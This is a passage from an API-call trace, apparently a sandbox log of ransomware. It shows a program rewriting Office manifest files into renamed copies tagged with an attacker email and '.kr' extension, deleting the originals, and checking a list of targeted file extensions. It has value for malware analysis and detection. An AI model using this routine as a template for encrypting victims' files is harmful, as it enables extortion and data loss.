(hObject=0x36c) returned 1 [0099.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0099.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.064] GetLastError () returned 0x0 [0099.064] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x863, lpOverlapped=0x0) returned 1 [0099.066] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x870, lpOverlapped=0x0) returned 1 [0099.067] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0099.067] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0099.067] SetEndOfFile (hFile=0x374) returned 1 [0099.067] CloseHandle (hObject=0x374) returned 1 [0099.068] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.068] SetEndOfFile (hFile=0x36c) returned 1 [0099.069] CloseHandle (hObject=0x36c) returned 1 [0099.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0099.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0099.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.069] lstrlenW (lpString=".doc") returned 4 [0099.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.069] lstrlenW (lpString=".docx") returned 5 [0099.069] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.070] lstrlenW (lpString=".pdf") returned 4 [0099.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString=".xls") returned 4 [0099.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString=".xlsx") returned 5 [0099.070] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.070] lstrlenW (lpString=".ppt") returned 4 [0099.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.070] lstrlenW (lpString=".zip") returned 4 [0099.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.070] lstrlenW (lpString=".rar") returned 4 [0099.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString=".bz2") returned 4 [0099.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString=".7z") returned 3 [0099.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.070] lstrlenW (lpString=".dbf") returned 4 [0099.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.070] lstrlenW (lpString=".1cd") returned 4 [0099.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.070] lstrlenW (lpString=".jpg") returned 4 [0099.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.071] lstrlenW (lpString=".doc") returned 4 [0099.071] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString=".docx") returned 5 [0099.071] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.071] lstrlenW (lpString=".pdf") returned 4 [0099.071] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString=".xls") returned 4 [0099.071] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString=".xlsx") returned 5 [0099.071] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.071] lstrlenW (lpString=".ppt") returned 4 [0099.071] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.071] lstrlenW (lpString=".zip") returned 4 [0099.071] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.071] lstrlenW (lpString=".rar") returned 4 [0099.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString=".bz2") returned 4 [0099.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString=".7z") returned 3 [0099.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.071] lstrlenW (lpString=".dbf") returned 4 [0099.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.071] lstrlenW (lpString=".1cd") returned 4 [0099.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0099.071] lstrlenW (lpString=".jpg") returned 4 [0099.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.072] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0099.072] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0099.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.072] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2147) returned 1 [0099.072] CloseHandle (hObject=0x36c) returned 1 [0099.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0099.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.072] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.072] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.073] GetLastError () returned 0x0 [0099.073] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x863, lpOverlapped=0x0) returned 1 [0099.074] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x870, lpOverlapped=0x0) returned 1 [0099.075] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0099.075] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0099.076] SetEndOfFile (hFile=0x374) returned 1 [0099.076] CloseHandle (hObject=0x374) returned 1 [0099.077] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.077] SetEndOfFile (hFile=0x36c) returned 1 [0099.078] CloseHandle (hObject=0x36c) returned 1 [0099.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0099.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0099.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.078] lstrlenW (lpString=".doc") returned 4 [0099.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.078] lstrlenW (lpString=".docx") returned 5 [0099.078] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.078] lstrlenW (lpString=".pdf") returned 4 [0099.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.078] lstrlenW (lpString=".xls") returned 4 [0099.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.078] lstrlenW (lpString=".xlsx") returned 5 [0099.078] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.079] lstrlenW (lpString=".ppt") returned 4 [0099.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString=".zip") returned 4 [0099.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.079] lstrlenW (lpString=".rar") returned 4 [0099.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString=".bz2") returned 4 [0099.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString=".7z") returned 3 [0099.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString=".dbf") returned 4 [0099.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString=".1cd") returned 4 [0099.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString=".jpg") returned 4 [0099.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.079] lstrlenW (lpString=".doc") returned 4 [0099.079] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString=".docx") returned 5 [0099.079] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.079] lstrlenW (lpString=".pdf") returned 4 [0099.079] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.079] lstrlenW (lpString=".xls") returned 4 [0099.080] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString=".xlsx") returned 5 [0099.080] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.080] lstrlenW (lpString=".ppt") returned 4 [0099.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.080] lstrlenW (lpString=".zip") returned 4 [0099.080] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.080] lstrlenW (lpString=".rar") returned 4 [0099.080] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString=".bz2") returned 4 [0099.080] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString=".7z") returned 3 [0099.080] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.080] lstrlenW (lpString=".dbf") returned 4 [0099.080] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.080] lstrlenW (lpString=".1cd") returned 4 [0099.080] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0099.080] lstrlenW (lpString=".jpg") returned 4 [0099.080] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.080] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0099.080] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0099.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.081] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=215883) returned 1 [0099.081] CloseHandle (hObject=0x36c) returned 1 [0099.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0099.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.082] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.082] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0101.201] GetLastError () returned 0x0 [0101.201] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0101.208] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x34b50, lpOverlapped=0x0) returned 1 [0101.214] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0101.214] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.214] SetEndOfFile (hFile=0x390) returned 1 [0101.214] CloseHandle (hObject=0x390) returned 1 [0101.223] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0101.223] SetEndOfFile (hFile=0x36c) returned 1 [0101.226] CloseHandle (hObject=0x36c) returned 1 [0101.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0101.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.227] lstrlenW (lpString=".doc") returned 4 [0101.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.227] lstrlenW (lpString=".docx") returned 5 [0101.227] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.227] lstrlenW (lpString=".pdf") returned 4 [0101.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.227] lstrlenW (lpString=".xls") returned 4 [0101.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.227] lstrlenW (lpString=".xlsx") returned 5 [0101.227] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.228] lstrlenW (lpString=".ppt") returned 4 [0101.228] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString=".zip") returned 4 [0101.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.228] lstrlenW (lpString=".rar") returned 4 [0101.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString=".bz2") returned 4 [0101.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString=".7z") returned 3 [0101.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString=".dbf") returned 4 [0101.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString=".1cd") returned 4 [0101.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString=".jpg") returned 4 [0101.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.228] lstrlenW (lpString=".doc") returned 4 [0101.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.228] lstrlenW (lpString=".docx") returned 5 [0101.229] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.229] lstrlenW (lpString=".pdf") returned 4 [0101.229] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString=".xls") returned 4 [0101.229] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString=".xlsx") returned 5 [0101.229] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.229] lstrlenW (lpString=".ppt") returned 4 [0101.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.229] lstrlenW (lpString=".zip") returned 4 [0101.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.229] lstrlenW (lpString=".rar") returned 4 [0101.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString=".bz2") returned 4 [0101.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString=".7z") returned 3 [0101.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.229] lstrlenW (lpString=".dbf") returned 4 [0101.229] lstrcmpiW 